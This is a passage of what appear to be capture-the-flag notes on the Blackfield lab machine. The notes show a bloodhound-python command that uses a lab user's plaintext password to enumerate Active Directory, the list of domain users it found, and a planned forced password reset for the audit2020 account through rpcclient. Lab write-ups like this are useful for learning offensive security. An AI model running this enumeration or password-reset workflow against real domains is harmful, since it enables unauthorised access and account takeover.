30 - bloodhound-python
sudo apt install bloodhound.py
`bloodhound-python -c ALL -u support -p '#00^BlackKnight' -d blackfield.local -dc dc01.blackfield.local -ns 10.10.10.192
bloodhound ls
20240112103233_computers.json 20240112103233_gpos.json 20240112103233_users.json
20240112103233_containers.json 20240112103233_groups.json
20240112103233_domains.json 20240112103233_ous.json
I ll import these files in bloodhound.
username.txt->
Administrator
Guest
DC01$
krbtgt
audit2020
support
svc_backup
lydericlefebvre
I marked all these users to high value and marked support user as owned.
Force change password to audit2020
We don't have a shell on the system so we can use rpcclient to change the users password. 35-ChangingPasswordForAudit2020